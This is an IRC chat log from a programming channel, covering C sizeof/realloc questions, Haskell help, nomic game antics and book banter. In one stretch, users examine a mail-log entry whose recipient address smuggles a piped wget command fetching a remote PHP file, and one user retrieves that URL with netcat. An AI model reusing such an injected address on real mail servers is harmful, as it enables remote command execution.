12:18:26 -!- Tritonio_GR has joined.
12:23:21 -!- kar8nga has joined.
12:27:45 -!- lereah_ has joined.
13:00:03 -!- hiato has joined.
13:21:27 -!- adam_d has joined.
13:35:19 -!- sebbu2 has joined.
13:38:50 -!- sebbu has quit (Ping timeout: 276 seconds).
13:38:50 -!- sebbu2 has changed nick to sebbu.
13:58:59 <ais523> <reddit> submitted 578 milliseconds ago
13:59:07 <ais523> is that an in-joke if you happen to load the page right after a submission?
13:59:12 <ais523> it seems rather ridiculously precise
14:00:01 -!- adam_d has quit (Ping timeout: 252 seconds).
14:12:10 <AnMaster> heh
14:12:32 <AnMaster> ais523, more likely just using a generic time span formatting function
14:12:43 <ais523> maybe
14:25:41 -!- ais523 has quit (Remote host closed the connection).
15:06:20 -!- FireFly has joined.
15:32:53 -!- adam_d has joined.
15:33:26 -!- ais523 has joined.
15:34:48 -!- hiato has quit (Quit: Lightning storm).
15:35:43 -!- augur has quit (Ping timeout: 252 seconds).
15:51:14 <AnMaster> ais523, there? I'm having some problems understanding some C code I have written. To begin with: all C compilers seem to accept it, but a static analyser ("sparse", developed by linux kernel developers, but useful for userland apps too) complains about it. And I have to agree with it.
15:51:16 <AnMaster> list = (ipList*)realloc(*me, sizeof(ipList) + sizeof(instructionPointer[(*me)->size + ALLOCCHUNKSIZE]));
15:51:18 <AnMaster> is the line
15:51:30 <ais523> hmm, let me look
15:51:31 <AnMaster> it says "cannot size expression"
15:51:40 <AnMaster> and that code does seem to use sizeof() strangely
15:51:41 <ais523> sizeof an array element looks really weird
15:51:48 <ais523> assuming instructionPointer is an array there
15:52:00 <ais523> why wouldn't you just write sizeof(*instructionPointer)?
15:52:04 -!- BeholdMyGlory has joined.
15:52:09 <AnMaster> I'm trying to find where instructionPointer is
15:52:14 <ais523> OTOH, that makes more sense if instructionPointer is a typedef
15:52:28 <ais523> in which case, it would be valid in C99 but not C89
15:52:32 <AnMaster> ais523, it *is* a typedef
15:52:39 <ais523> because you can take the size of a hypothetical VLA, but only if the lang supports VLAs
15:52:41 <AnMaster> but it still doesn't make much sense
15:52:50 <AnMaster> aha
15:53:27 <ais523> also, casting the return value of realloc just masks bugs, by getting compilers to shut up if you use the wrong type (for realloc) rather than complaining
15:53:33 <ais523> you only do it in C++
15:53:39 <AnMaster> ais523, that iplist that I realloc is a struct with a "dynamic" array element at the end
15:53:52 <AnMaster> (C99 introduced that)
15:54:03 <AnMaster> but I'm still not quite sure what I'm trying to do there
15:54:06 <ais523> AnMaster: yep, and in C99 the flexible element counts 0 towards the size
15:54:11 <AnMaster> ais523, indeed
15:54:18 <AnMaster> but why the sizeof of an array!?
15:54:36 <ais523> AnMaster: because, the end of the struct has to be the right size
15:54:43 <AnMaster> true
15:54:58 <AnMaster> but why not sizeof type multiplied with number of elements?
15:55:23 <ais523> the C89 equivalent would be list = (ipList*)realloc(*me, sizeof ipList + ((*me)->size + ALLOCCHUNKSIZE) * sizeof (instructionPointer)));
15:55:35 <AnMaster> mmm
15:55:43 <ais523> sizeof type * number of elements is probably more portable
15:55:53 <ais523> although in C89, you'd have to use the struct hack rather than relying on a flexible array member
15:56:46 <AnMaster> I don't care about C89 compat though. There are enough large-enough-subset-of-C99-at-least compilers out there
15:57:31 <ais523> writing that line C89-style would be quite a bit /clearer/, though
15:57:37 <AnMaster> (gcc, icc, clang, open64 (though that one iirc reuses code from the gcc frontend), ...)
15:57:39 <ais523> hypothetical VLAs are just confusing to read
15:57:46 <AnMaster> true
15:57:52 <AnMaster> ais523, what about padding?
15:58:11 <ais523> AnMaster: arrays aren't padded, and struct padding is taken into account in the first sizeof
15:58:17 <AnMaster> hm true
15:58:49 <AnMaster> ais523, now I wonder if, true to gcc's usual stupidity, it will in fact create and then discard such a VLA there
15:59:18 <ais523> it's unlikely, it would probably be noticed by the backend even if the frontend didn't catch it
15:59:27 <AnMaster> hopefully
15:59:41 <ais523> dead code elimination's impossible to do perfectly in theory, but dead variable elimination is noticed by the SSA stage
15:59:47 <ais523> and even if it wasn't, would be noticed in register allocation
16:00:02 <ais523> although, who knows what contortions gcc goes through to make VLAs work
16:00:14 <AnMaster> ais523, I think they are done with alloca()
16:00:15 <AnMaster> iirc
16:00:33 <ais523> no, alloca and VLAs work differently to each other
16:00:40 <ais523> in fact, there's a big warning that they don't mix somewher
16:00:43 <ais523> *somewhere
16:00:58 <ais523> as they both use different notions of scope, and processors don't have the INTERCAL thing where scopes are pretty much independent
16:02:27 <AnMaster> haha
16:06:08 <AnMaster> hm it seems sparse dislike VLAs completely
16:07:20 <ais523> if it's designed for the kernel, I'm not surprised
16:07:37 <AnMaster> ais523, It used to not error out on them though
16:07:47 -!- hiato has joined.
16:07:53 * AnMaster finds it funny that it warns about using 0 as NULL
16:08:59 <fizzie> I like the unadorned 0s more than NULL personally.
16:09:51 <AnMaster> fizzie, I actually prefer using NULL (makes it clear it is a pointer, easier to read the code), but I'm not going to change this instance since it is in output generated by gperf
16:11:45 <AnMaster> hah, it warns "warning: potentially expensive pointer subtraction" when you substract two pointers if the types of those pointers are not a power of two
16:12:42 <fizzie> And yes, I'd write count*sizeof(element) up there, that's the usual thing in array-mallocs and so on.
16:13:38 <AnMaster> true
16:14:27 -!- augur has joined.
16:14:37 <fizzie> Recently seen in mailserver logs: someone tried to send email to "root+:|wget http://fortunes.in/x1x.php@zem.fi".
16:15:36 <AnMaster> uhu
16:15:45 <AnMaster> +:| ?
16:16:17 <AnMaster> looks like a weird smiley. What sort of special meanings could those be thought to have?
16:16:53 <fizzie> + is reasonably common as user+ext@domain, to let users create "sub-addresses" freely.
16:17:17 <AnMaster> and the : ?
16:17:47 <fizzie> And of course |foo runs foo in a shell in quite many contexts. The : I'm not sure of.
16:18:07 <AnMaster> mhm
16:18:33 <fizzie> I'm sure it does something special somewhere, though, otherwise they wouldn't bother trying.
16:18:42 <AnMaster> true
16:18:54 <AnMaster> fizzie, sure it didn't work on your system? ;)
16:19:44 <fizzie> Postfix logs at least just had an "invalid address extension" error message.
16:22:58 <AnMaster> mhm
16:26:27 <Ilari> What it is even trying to pipe to wget? Presumably it intends to upload something sensitive (or clog something with pipe)...
16:27:57 <AnMaster> or download something?
16:28:18 <Ilari> What does wget even do with stdin?
16:29:17 <AnMaster> maybe there isn't a way to do whatever it is without piping? Or the | doesn't mean pipe in this case
16:29:28 <Ilari> Yeah, maybe it is trying to download x1x.php...
16:30:03 <AnMaster> I don't recommend doing it, who knows what it is
16:31:17 <Ilari> Maybe try grabbing that file for analysis?
16:31:19 -!- MizardX has joined.
16:32:37 <AnMaster> Ilari, I'm not very interested in it really, and I don't want to run into problems if it is, for example, exploiting a bug in wget.
16:32:59 <AnMaster> and I don't have any virtual machines handy atm
16:33:24 <Ilari> AnMaster: Use telnet to send request and record the stream?
16:34:17 <Ilari> AnMaster: Or netcat...
16:34:34 <AnMaster> why don't you do it? ;P
16:40:45 <Ilari> I don't know if it requires some headers, but ncing gets '4<lineend>xxx<lineend><lineend>0<lineend><lineend>' (chunked encoding). The headers don't seem to contain anything special...
16:42:15 <AnMaster> mhm
16:42:36 <AnMaster> Ilari, no binary data that isn't visible when output to terminal?
16:43:17 <AnMaster> Ilari, also I hope you changed the bit after @
16:44:27 <Ilari> I dropped it as its presumably not part of URL.
16:44:36 <AnMaster> mhm
16:44:55 -!- adam_d_ has joined.
16:44:56 <AnMaster> Ilari, you are probably correct there.
16:45:35 <Ilari> Attempt to "bug" the mail? I dumped the stream as hexadecimal. All characters are either ascii printable, CR or LF.
16:48:06 <Ilari> fizzie: If its indeed bugged, you may get some extra spam to that account. Sorry. :-)
16:48:13 -!- adam_d has quit (Ping timeout: 258 seconds).
16:51:04 <Ilari> fizzie: But hey, its root@, so it should aready be extra-roasty with spam. :->
16:58:20 -!- kar8nga has quit (Ping timeout: 276 seconds).
16:59:53 -!- tombom has joined.
17:03:02 -!- jcp has joined.
17:11:46 -!- lereah_ has quit (Remote host closed the connection).
17:31:27 -!- fax has joined.
17:37:31 -!- adam_d_ has quit (Ping timeout: 260 seconds).
18:27:39 -!- Tritonio_GR has quit (Quit: Leaving.).
18:34:50 -!- augur has quit (Read error: Operation timed out).
18:35:38 -!- augur has joined.
18:41:11 -!- ehirdiphone has joined.
18:41:31 <ehirdiphone> Wowz.
18:42:39 <fax> hhi!
18:45:44 <fax> ehirdiphone
18:47:35 <ehirdiphone> Yyyyyo
18:47:38 <fax> suup
18:47:45 <fax> everyone has everything, so no one wants anything
18:47:49 <ehirdiphone> In the I
18:47:52 <fax> everyone has everyone so that no one has no one!
18:48:02 <ehirdiphone> inner circle of hell
18:48:04 <fax> We're not too stupid and we're not too bright, to be a gamma is to be just right!
18:48:10 <ehirdiphone> I speaketh
18:51:58 <fax> ehirdiphone: take some soma
18:52:37 <lament> this channel sucks.
18:52:40 * lament hangs himself
18:52:53 <ehirdiphone> lament: Please do!
18:53:14 <fax> lament, maybe you should go to the reconditioning center!
18:53:45 <lament> too late, i'm dead!
18:53:48 <ehirdiphone> Maybe you should stop being so fucking cheerful!
18:53:52 <fax> was and will make me ill, I take a gram and there I am!
18:53:56 <ehirdiphone> fax that is
18:54:50 <ehirdiphone> I am, after all, in the prescense of Dark forces.
18:55:02 <fax> ehirdiphone - you've not read brave new world?
18:56:32 <ehirdiphone> I am joking of course
18:56:55 <ehirdiphone> — but it is not the perfect time when mine is so limited :P
18:57:06 <fax> huh?
18:58:31 <ehirdiphone> I am in the Realm of hell — you know; There.
18:59:04 <fax> ehirdiphone that's why I was referencing brave new world.. seems to have been totally lost on you thouhg
19:00:16 <fax> bbl
19:01:30 -!- kar8nga has joined.
19:09:14 <fax> b
19:13:31 -!- jcp has quit (Remote host closed the connection).
19:23:12 <ehirdiphone> Nineteen Eighty-Four would be more apropos.
19:24:29 <fax> :(
19:29:39 <ehirdiphone> Well, it is true, as better as Huxley's dystopia was.
19:29:57 <lament> brave new world is a dystopia?
19:31:00 <ehirdiphone> You didn't notice? :£
19:31:04 <ehirdiphone> *:)
19:31:25 <lament> seemed like utopia to me...
19:31:54 <ehirdiphone> You would like to live there?
19:32:12 <lament> what's that to do with anything?
19:32:38 <ehirdiphone> I suppose I could grant utopia and dystopia as different forms of the same thing, the former more insidious.
19:32:46 -!- charlls has joined.
19:32:50 <ehirdiphone> But that isn't the common use.
19:33:04 <lament> well how is it a dystopia?
19:33:20 <ehirdiphone> "It Sucks."
19:33:27 <lament> how does it suck?
19:33:46 <ehirdiphone> Well, that's mere taste.
19:34:20 <lament> ok so you think it's a dystopia and i don't, what's the problem
19:34:40 <fax> hello
19:34:53 <ehirdiphone> lament: Nothing.
19:34:58 <lament> k
19:35:16 <ehirdiphone> fax: Jhellok
19:35:22 <fax> it's obviously a dystopia :|
19:35:40 <lament> how so?
19:35:45 <ehirdiphone> lament is crazy though :)
19:35:52 <fax> he just likes the idea of lots of drugs
19:36:01 <lament> what makes it a dystopia?
19:36:04 <lament> aren't people happy?
19:36:08 <fax> no
19:36:15 <lament> yes they are
19:36:23 <ehirdiphone> On a base level
19:36:28 <ehirdiphone> Intelevtually?
19:36:31 <ehirdiphone> lec
19:36:31 <lament> that wasn't even a question. that was a statement, disguised as a question.
19:37:22 <ehirdiphone> "RHETORIC" ability unlocked!
19:37:29 <fax> hehe
19:37:31 <Sgeo> Hi ehirdiphone
19:39:00 * Sgeo is considering doing some Google Summer of Code stuff
19:39:26 <ehirdiphone> I hear it pays quite handily.
19:39:46 <coppro> it does
19:39:53 <coppro> btw nick
19:39:59 <fax> I hate summer of code
19:40:13 <Sgeo> fax, why?
19:40:33 <fax> I did lots of work on something that happened to be a summer of code project and this idiot just used it for a shitty version which he got paid for
19:42:12 <fax> death is perfect death is fun, death is good for everyone.
19:42:44 <ehirdiphone> coppro: Lazy
19:43:04 <coppro> fair enough
19:43:18 <coppro> did you read the link I sent you (you too, Sgeo)? It's vital to confusing Agora
19:43:32 <ehirdiphone> Oh? What link?
19:43:54 <Sgeo> Um, I think I skimmed it. Either that, or assumed that it was just a CFJ
19:44:04 <coppro> the pastebin
19:44:08 <ehirdiphone> I have not checked email here.
19:44:17 <ehirdiphone> Unit, remember.
19:44:21 <ehirdiphone> iPhone.
19:44:23 <coppro> oh, right
19:44:30 <coppro> ok, do it when you get home or something
19:44:37 <coppro> I just need to make sure every Agoran player clicks that link
19:45:05 <ehirdiphone> All right — tomorrow then, or if I'm sleepy the day after.
19:45:19 <ehirdiphone> coppro: Then I am wary!
19:45:27 <ehirdiphone> And so will be ais.
19:45:47 <coppro> ais has read it
19:46:30 <ehirdiphone> Oh, also: I will be here on Monday too — not here here but not at here, the unit.
19:47:19 <ehirdiphone> coppro: Tell me what it says: and if I approve of the antics I will visit the page.
19:47:58 <coppro> ehirdiphone: it's public forum antics.
19:48:05 <coppro> err, public message antics
19:48:20 <ehirdiphone> That is rather less precise than I desire.
19:48:20 <coppro> http://paste.debian.net/66733/
19:48:40 <ehirdiphone> Nope; not that easily. Paste it in /msg?
19:48:59 <coppro> won't work
19:49:08 <coppro> at least, I don't want to confuse things even further
19:49:16 <coppro> even I have limits
19:49:24 <ehirdiphone> Then reword it.
19:50:05 -!- kar8nga has quit (Remote host closed the connection).
19:50:44 <coppro> just visit it on the weekend or something
19:51:01 <ehirdiphone> Oh, hell; Agora is none of my business. I haven't the time to play it. I should click.
19:51:09 <ehirdiphone> But you are being evasive.
19:51:10 -!- charlesq__ has joined.
19:51:29 -!- charlesq__ has quit (Client Quit).
19:51:35 -!- charlls has quit (Read error: Connection reset by peer).
19:51:38 <Sgeo> ehirdiphone, the antics are of whether a message linked to by something that's a public message is a public message
19:51:41 <Sgeo> Or something like that
19:51:42 -!- charlls has joined.
19:51:59 <coppro> yeah
19:52:03 <ehirdiphone> What happens in the pasted message?
19:52:10 <coppro> I try to make the paste a public message
19:52:11 <Sgeo> coppro makes a proposal
19:52:14 <coppro> and submit a proposal
19:52:27 <coppro> the rest of the antics are in the message that linked the proposal, but that one's definitely public
19:52:32 <Sgeo> Which is withdrawn in a known-to-be-public area
19:52:41 <ehirdiphone> Okay; link me.
19:52:52 <coppro> >http://paste.debian.net/66733/
19:53:00 <coppro> (it also contains a rather lame attempt at paradox)
19:53:33 <ehirdiphone> Visited.
19:53:56 <coppro> ok, thanks
19:54:12 <ehirdiphone> Man, everyone here is crazy.
19:54:18 <coppro> yes
19:54:30 <ehirdiphone> — here, not #esoteric
19:54:55 <coppro> oh
19:55:44 <ehirdiphone> I am not allowed to be using the Internet incidentally. It's Health And Safety Policy — not that anyone has noticed.
19:56:53 <coppro> fun
19:57:12 <coppro> I got to do something amusing today
19:57:52 <coppro> a tech support guy was coming in, and told me that he needed someone 18 in the house for legal reasons. I rescheduled the appointment to next week, hopefully it'll be the same guy :)
19:59:21 * Sgeo watches himself waste time while he should be working
20:00:14 <fax> ehirdiphone don't get yourself in trouble
20:01:14 <ehirdiphone> Nah
20:01:17 <ehirdiphone> The proposed traits feature would bring "horizontal reuse" to the language; think of traits as a PHPish answer to multiple inheritance or Java's interfaces.
20:01:19 <ehirdiphone> Lollll
20:02:20 <coppro> whee
20:03:46 <Sgeo> Is there a point to Interfaces in a dynamically typed language?
20:03:55 <ehirdiphone> It's a smalltalk feature
20:04:08 <ehirdiphone> Bye; gtg
20:04:11 -!- ehirdiphone has quit (Quit: Get Colloquy for iPhone! http://mobile.colloquy.info).
20:04:11 <Sgeo> bye
20:08:52 -!- cal153 has joined.
20:14:15 <ais523> happy australian mailing list reminders day!
20:14:22 <fax> lament they don't have poetry in brave new world
20:29:10 <Sgeo> I'm not in Australia, and I got a reminder for the backup lists
20:29:17 <Sgeo> Or is the backup list in Austrailia?
20:29:19 -!- rapido has joined.
20:29:23 <Sgeo> Oh, yes
20:39:55 -!- oerjan has joined.
20:54:58 <lament> fax: poetry sucks
20:56:46 <oerjan> if you want big bucks
21:01:24 -!- Tritonio_GR has joined.
21:05:37 -!- augur has quit (Ping timeout: 240 seconds).
21:08:41 <lament> you should drive trucks???
21:10:33 * Sgeo should write some Haskell.. thingy for FLogic
21:10:48 <oerjan> and pretend to be rubber ducks
21:11:31 -!- hiato has quit (Quit: underflow).
21:12:56 <fax> what's flogic
21:13:06 <Sgeo> data FValue = Frue | Talse | Floyd deriving (Show)
21:13:12 <fax> Floyd??
21:13:12 <Sgeo> fax, ftp://ftp.nvg.ntnu.no/pub/frc/29
21:13:29 <Sgeo> fax, oerjan should know
21:13:37 <oerjan> oh that one
21:14:29 <fax> http://i.imgur.com/ZIyam.png
21:16:03 <oerjan> that's clearly cyber-bullying in the picture
21:16:10 <oerjan> from causing too many headdesks
21:16:15 <fax> :D
21:16:58 <coppro> wow, I need to write another fantasy rule
21:18:29 -!- augur has joined.
21:18:59 <fax> is this whole channel just a big game of "agora" and I'm the dice?
21:19:07 <Sgeo> It's possible to right fully-imperitive code in Haskell, right?
21:19:11 <fax> yes
21:19:35 <Sgeo> What constructs of imperitive languages would need to be written by the programmer though? when -> if and forM_ -> foreach
21:20:02 <Sgeo> How would you do a while?
21:20:49 <fax> bool true false True = true
21:20:55 <fax> bool true false False = false
21:21:44 <Sgeo> That would be an awkward to use if/else I think
21:21:44 <fax> while condition body = condition >>= bool (body >> while body) (return ())
21:21:50 <fax> no
21:21:53 <fax> if/then/else is awkward
21:21:55 <fax> bool is not
21:22:23 <fax> the whole idea of if/then/else is to just to be more 'familiar' or something stupid thing like that, it is a mistake to have added this to haskell
21:22:24 * Sgeo likes the thought of being able to use Haskell for all his imperitive needs
21:22:58 <Deewiant> while b x = b >>= flip when (x >> while b x)
21:23:06 <fax> it's called a fold by the way
21:24:47 * Sgeo is already confused
21:25:37 <ais523> FValue has fewer than 9 possibilities, so it fails
21:26:00 <Deewiant> while b x = do cond <- b; when cond (do x; while b x)
21:26:09 <fax> Sgeo about what
21:26:22 <oerjan> while condition body = do c <- condition; if c then do body; while condition body else return ()
21:26:46 -!- Azstal has joined.
21:26:47 <Sgeo> Ok, those make more sense to me
21:26:53 <fax> than what
21:27:00 <oerjan> they're all equivalent of course
21:27:11 <fax> I don't get why people rewrote them
21:27:49 <fax> I had a mistake in mine
21:27:52 <oerjan> fax: because if _is_ familiar and i thought it _would_ help Sgeo to see while written using it.
21:28:02 <fax> while condition body = condition >>= bool (body >> while condition body) (return ())
21:28:16 <fax> I really hate if/then/else it's so out of place
21:28:53 -!- Asztal has quit (Ping timeout: 265 seconds).
21:28:55 -!- Azstal has changed nick to Asztal.
21:29:27 <Sgeo> Is there a point to forM_/mapM_ outside of the IO and ST monads?
21:29:33 <Sgeo> and State
21:29:52 <Deewiant> Writer
21:29:57 <Deewiant> RWS
21:30:00 <Sgeo> RWS?
21:30:19 <Deewiant> newtype RWS r w s a = RWS {runRWS :: r -> s -> (a, s, w)}
21:30:24 <Sgeo> Maybe if a Nothing occurs in a forM_ in the Maybe monad, the whole thing is nothing
21:30:24 <Sgeo> ?
21:30:29 <Sgeo> Or am I mistaken?
21:30:58 <oerjan> Sgeo: all except Reader, i think (and that one only because it cannot pass side effects _out_)
21:31:02 <Deewiant> Yeah, I suppose it could be used like that
21:31:09 <oerjan> oh Maybe too i guess
21:31:13 <Deewiant> Either, of course
21:31:20 <Deewiant> Maybe a bit more usefully than Maybe
21:31:30 <Sgeo> What about []?
21:32:11 <Deewiant> Well, you get back a list of ()
21:32:13 <oerjan> Sgeo: oh and yeah Maybe forM_ can at least distinguish between Nothing and Just () for the reason you said
21:33:29 <oerjan> i guess forM_ for [] is useless...
21:33:52 <oerjan> well you get a list of ()'s, don't you
21:34:00 <Deewiant> You can apply length to the result and get a complicatedly-calculated integer
21:34:47 <Deewiant> length . mapM_ (\x -> [x,x]) is equivalent to (^2) . length
21:34:48 <oerjan> however, the same can be done with Writer (Sum Integer) iirc
21:34:49 <Deewiant> I think
21:36:07 <Sgeo> "If an FStatement ends with the same three words
21:36:07 <Sgeo> as another FStatement, then either both are
21:36:07 <Sgeo> Floyd, or one has the FValue Talse and the
21:36:07 <Sgeo> other has the FValue Frue."
21:36:11 <Sgeo> That's mind-breaking
21:36:33 <Deewiant> Er, (2^), not (^2), obviously
21:38:34 -!- Oranjer has joined.
21:51:07 <Sgeo> Can I make an operator (+) in Haskell?
21:51:15 <Sgeo> ((+)) = --whatever?
21:51:28 <oerjan> well (+) is already defined
21:52:15 <oerjan> you can (1) hide the usual definition and replace with your own, or (2) implement the Num class in which (+) is a method for your own type
21:52:25 <Sgeo> But I'm asking for ((+))
21:52:31 <oerjan> oh
21:52:40 <Sgeo> Frue (+) Talse
21:52:43 <Sgeo> For instance
21:52:45 <fax> no
21:53:03 <oerjan> no, (+) always means the function underlying the operator +
21:53:20 <oerjan> (or \x y -> x+y)
21:53:54 <oerjan> put another way, ( and ) are not legal operator characters
21:53:59 <Sgeo> Darn
21:54:14 <Sgeo> Maybe I could call it <+>
21:54:30 <oerjan> yeah that's a legal operator
21:54:44 <oerjan> in fact i think it's also defined somewhere
21:54:49 <lament> a legal operator named sue
21:54:49 -!- Sgeo has set topic: !.
21:54:51 <Sgeo> GAH
21:54:52 <Sgeo> Oops
21:54:58 -!- fax has set topic: < Sgeo> GAH.
21:55:15 -!- lament has set topic: This topic is correct today, but will be incorrect tomorrow..
21:55:17 <Sgeo> WTF did I press in XChat to cause that?
21:55:34 -!- Deewiant has set topic: this topic is incorrect today but will be correct tomorrow | last topic change: 1 day ago | http://tunes.org/~nef/logs/esoteric/?C=M;O=D.
21:55:46 <oerjan> Control.Arrow (<+>) :: ArrowPlus a => a b c -> a b c -> a b c
21:56:28 <oerjan> hoogle lists another one related to pretty printing
21:56:33 <Gregor> Deewiant: Actually, that topic will never be correct.
21:56:37 -!- rapido has quit (Quit: rapido).
21:56:53 <Deewiant> Gregor: It's not mine, it's the previous one.
21:57:09 <Gregor> Previous-poster: Actually, that topic will never be correct.
21:57:16 <Sgeo> What derivings should I make for FValues?
21:57:18 <Deewiant> Gregor: You want ais523
21:57:20 <Sgeo> Show, but anythign else?
21:57:25 <Gregor> ais523: Actually, that topic will never be correct.
21:57:39 <ais523> Gregor: it was paradoxical the day it was created
21:57:43 -!- lament has set topic: this topic is correct today but will be incorrect tomorrow | last topic change: 1 day ago | http://tunes.org/~nef/logs/esoteric/?C=M;O=D.
21:57:59 -!- lament has set topic: this topic is correct today but will be incorrect tomorrow | last topic change: today | http://tunes.org/~nef/logs/esoteric/?C=M;O=D.
21:58:09 <ais523> I think, maybe not
21:58:14 <Sgeo> Actually, === and (+) were defined in an INVALID rule
21:58:16 <Sgeo> So yeah
21:58:18 -!- oerjan has set topic: This topic was incorrect yesterday but is correct today | last topic change: 1 day ago | http://tunes.org/~nef/logs/esoteric/?C=M;O=D.
21:58:23 <ais523> I'm willing to believe it was just wrong
22:14:56 * Sgeo hopes he got the recursive logic right
22:15:13 <fax> ?
22:15:42 <Sgeo> To find the positions of a certain value in a list
22:16:04 <fax> -_-
22:16:19 <oerjan> all the positions or just the first one?
22:16:22 <Sgeo> http://hpaste.org/fastcgi/hpaste.fcgi/view?id=24560#a24560
22:16:23 <Sgeo> All
22:17:03 -!- cal153 has quit (Ping timeout: 260 seconds).
22:17:03 <oerjan> because elemIndex already exists for finding the first one
22:17:59 <oerjan> Sgeo: x:xs needs parentheses
22:18:21 <Sgeo> ty
22:18:57 <Sgeo> The more obvious way, without using accumulators, is worse because it's not tail recursive?
22:19:34 <oerjan> no!
22:19:42 <oerjan> in fact the opposite, in haskell
22:20:24 <Sgeo> So I shouldn't have bothered spraining my brain like that?
22:20:25 <Sgeo> grr
22:20:27 <Sgeo> *shrug*
22:20:46 <oerjan> because of the way lazy datastructures work, it is best to produce the initial cons cell as soon as possible
22:22:08 <oerjan> oh, oops
22:22:10 <Sgeo> I know n+k is considered "wrong", but is matching on number without using the +k ok?
22:22:31 <oerjan> Sgeo: actually your function also exists, it's called elemIndices
22:22:48 * Sgeo growls
22:22:49 <fax> what are the axioms of circular logic?
22:23:00 <pikhq> In general, what you want in Haskell is to try and *produce* data as quickly as possible. For instance, you would prefer to make the cons cell as quickly as possible.
22:23:11 <oerjan> fax: the axioms of circular logic are the axioms of circular logic
22:23:19 <fax> oh lol
22:23:49 <pikhq> But you'd absolutely hate to be doing something similar with (+), because (+) doesn't do that...
22:24:10 <oerjan> Sgeo: like case n of 1 -> ...; 2 -> ... ? i don't think that's considered wrong
22:24:39 <oerjan> while n+k patterns are either removed or deprecated in Haskell 2010 iirc
22:28:33 <pikhq> oerjan: Removed.
22:28:39 <pikhq> Completely and utterly removed.
22:28:53 * Sgeo thinks absvalue might be the wrong way to deal with negative modulos
22:29:12 <oerjan> Sgeo: why so?
22:29:24 <oerjan> oh negative _modulos_
22:29:35 <fax> what pisses me off is removing stuff like n+k but they leave if/then/else
22:29:46 <Sgeo> What should -1 % 3 turn into?
22:29:58 <Sgeo> I don't think 1 is the right answer
22:30:01 <fax> you can't have negative percentages
22:30:07 <fax> it's only between 0 and 100
22:30:11 <oerjan> Sgeo: oh right
22:30:13 <Sgeo> I'm using % as the modulo operator
22:30:33 <oerjan> % is the fraction constructor in haskell btw
22:30:59 <oerjan> the modulo operators are mod and rem (two variations with different behavior for negative numbers)
22:31:00 <fax> -_-
22:31:08 <lament> and they both SUCK
22:31:21 <oerjan> lament: what?
22:31:28 <lament> they're integer-only
22:31:32 <lament> or integral-only
22:31:34 <oerjan> oh that
22:31:57 <oerjan> there's an fmod in some module iirc
22:32:11 <Sgeo> -1 `rem` 3 == -1
22:32:21 <oerjan> it wasn't effectively implemented though when i heard about it
22:32:28 <lament> should be in the prelude though
22:32:28 -!- augur has quit (Remote host closed the connection).
22:32:32 * Sgeo goes insane
22:32:34 <oerjan> Sgeo: note that you need parentheses around the -1
22:32:35 <lament> and probably called mod
22:32:40 <Sgeo> ...
22:32:54 <oerjan> - has precedence the same as unary and binary
22:33:01 <Sgeo> So mod is what I wanted after all
22:33:05 -!- augur has joined.
22:33:48 -!- augur has quit (Read error: Connection reset by peer).
22:34:13 <Sgeo> The original FOperations were called FLeft and FRight. Should I call the Haskell versions fleft and fright, or fLeft and fRight?
22:34:14 -!- augur has joined.
22:34:31 <oerjan> the latter is the usual style
22:35:51 <Asztal> it also has the bonus of not sounding scary
22:36:29 <Sgeo> lol
22:37:59 -!- tombom has quit (Quit: Leaving).
22:38:33 <Sgeo> http://hpaste.org/fastcgi/hpaste.fcgi/view?id=24561#a24561
22:38:49 <Sgeo> [I mean, I'm not using that code, thanks to elemIndices, but what's wrong, exactly?]
22:39:10 <oerjan> Sgeo: cur_pos : acc also needs parentheses
22:39:33 <Sgeo> ty
22:39:35 <Sgeo> It worky now
22:40:15 <Sgeo> http://hpaste.org/fastcgi/hpaste.fcgi/view?id=24562#a24562
22:40:19 <Sgeo> Stylistic issues?
22:42:48 <oerjan> (\x -> x==Frue) = (==Frue)
22:43:44 * Sgeo is a bit too used to C#
22:44:37 <Sgeo> The test cases specified in FRC round 29 all check out
22:45:12 <fax> what's this about :(
22:45:13 <oerjan> Sgeo: i note you are only exporting the type, not any of the functions
22:45:27 <Sgeo> oerjan, I need to fix that, yes
22:45:44 <Sgeo> module FLogic(FValue(..),fLeft,fRight) where
22:45:45 <Sgeo> right?
22:45:57 <fax> aht is floyd logic
22:46:39 <oerjan> Sgeo: oh your first case can be written as [Talse, Floyd, Frue]!!ftemp values
22:46:54 <oerjan> although the case may be faster
22:47:05 <Sgeo> Hm
22:47:29 -!- FireFly has quit (Quit: Leaving).
22:47:50 <Sgeo> === and (+) are defined in valid rules
22:48:12 <oerjan> well === is a legal operator name
22:48:30 <fax> :(
22:48:32 <fax> why
22:48:46 <oerjan> fax: what?
22:49:00 <fax> I dont get this
22:49:10 <oerjan> fax: it was an frc round
22:49:23 -!- BeholdMyGlory has quit (Remote host closed the connection).
22:49:24 <fax> what's an frc round
22:49:49 <oerjan> `google Fantasy Rules Committee
22:50:01 <HackEgo> Member list, history of past rounds, and an introduction to how to play this themed rule-making game. \ www.win.tue.nl/cs/fm/engels/frc/index.html - [13]Cached
22:50:07 <Sgeo> After I finish this code, I just need to send it to 1994
22:50:23 <Sgeo> Where it may prove useful
22:50:27 <oerjan> that may not be uptodate though, i hear it's still ongoing
22:50:52 <fax> :((((((((((((((((((
22:51:57 <coppro> the FRC is indeed still ongoing
22:52:01 <coppro> groups.google.com/group/frc-play
22:52:40 <fax> I dont undersatnd aynthing!!!!
22:53:36 <oerjan> Sgeo: if you derive Enum as well, then fRight = toEnum . ftemp
22:54:01 <oerjan> fax: it's a creative game, about inventing rules
22:54:10 <Sgeo> That seems like more of a coincidence than anything profound
22:54:14 <pikhq> fax: It is Nomic.
22:54:37 <Sgeo> Although it makes me wonder why FLeft and FRight were defined the way they were
22:54:42 <oerjan> Sgeo: well it's a coincidence with the order you listed it in the data type
22:55:39 <Sgeo> There has to be a more elegant way than p <+> q = if p==q then Talse else if p == Frue || q == Frue then Frue else Floyd
22:55:56 <Sgeo> I tried pattern matching, with the first one being p <+> p, but that didn't work
22:56:24 <oerjan> Sgeo: what is clear is that fLeft and fRight are functions of each other
22:56:27 <fax> p <+> q | p == q = ...
22:56:32 <fax> p <+> q | otherwise = ...
22:56:34 <Sgeo> fax, oh, ty
22:56:53 <Sgeo> Wait, I need to say p <+> q multiple times?
22:57:00 <fax> Repeat: if/then/else sucks
22:57:07 <augur> anyone interested in a little challenge?
22:57:23 <Sgeo> fax, I meant, I thought the syntax let me skip the p<+>q thing the second etc. time
22:57:25 <oerjan> Sgeo: no, just once
22:58:17 <oerjan> actually fax's otherwise looks silly
22:58:34 <oerjan> p <+> q | p == q = Talse
22:58:45 <oerjan> Frue <+> _ = Frue
22:58:51 <oerjan> _ <+> Frue = Frue
22:58:57 <oerjan> _ <+> _ = Floyd
